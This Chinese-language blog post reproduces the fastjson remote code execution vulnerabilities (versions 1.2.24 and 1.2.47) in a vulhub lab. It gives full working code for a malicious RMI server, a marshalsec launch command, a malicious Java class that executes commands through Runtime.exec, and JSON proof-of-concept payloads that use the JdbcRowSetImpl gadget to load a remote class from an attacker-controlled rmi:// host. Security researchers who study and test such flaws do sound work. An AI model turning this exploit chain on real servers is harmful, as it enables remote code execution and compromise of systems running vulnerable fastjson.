00前言
fastjson是阿里的开源JSON解析库,被爆出两个远程命令执行漏洞,为2017年1.2.24版本和2019年1.2.47版本。
01环境准备
使用vulhub上的环境,在github上的vulhub下载下来,进入fastjson漏洞环境目录,执行以下命令。
然后访问http://ip:8090看见json返回数据,说明环境启动成功。
还需要开启一个rmi server,用来加载远程恶意类。rmi代码如下
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class server {
public static void start() throws
AlreadyBoundException, RemoteException, NamingException {
Registry registry = LocateRegistry.createRegistry(9999);
String remote_class_server = "http://ip:port/";//恶意类远程地址
Reference reference = new Reference("Exploit", "Exploit", remote_class_server);//第一个参数为恶意类名,第二个为factory。
//reference的factory class参数指向了一个外部Web服务的地址
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit", referenceWrapper);
System.out.println("Listener on 9999");
}
public static void main(String[] args) throws AlreadyBoundException, RemoteException, NamingException{
start();
}
}
也可以用marshalsec项目开启rmi服务。将其下载后,用maven编译即可使用。
开启命令,在9999端口监听。
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip:port/#Test" 9999
看见如下说明开始监听
恶意类如下,将其编译后放到Web服务下,确定能访问http://ip:port/Exploit.class。
import java.lang.Runtime;
import java.lang.Process;
public class Exploit{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"curl", "https://www.baidu.com/"};//这里写需要执行的命令
Process pc = rt.exec(commands);
pc.waitFor();
//打印命令结果
InputStream stdin = pc.getInputStream();
InputStreamReader isr = new InputStreamReader(stdin);
BufferedReader br = new BufferedReader(isr);
String line = null;
System.out.println("<OUTPUT>");
while((line = br.readLine()) != null) {
System.out.println(line);
}
System.out.println("</OUTPUT>");
} catch (Exception e) {
// do nothing
}
}
}
0x02攻击
poc如下
//1.2.24以下版本
{
"a":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://ip:9999/Test",
"autoCommit":true
}
}
//1.2.47以下版本
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://ip:9999/Test",
"autoCommit":true
}
}
请求搭好的环境,将get改为post,并且将修改Content-Type: application/json
发送请求,可以看到rmi服务收到了响应,加载远程恶意累Test.class。
作者:gelinlang
链接:https://www.jianshu.com/p/df3a0dc7205a
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。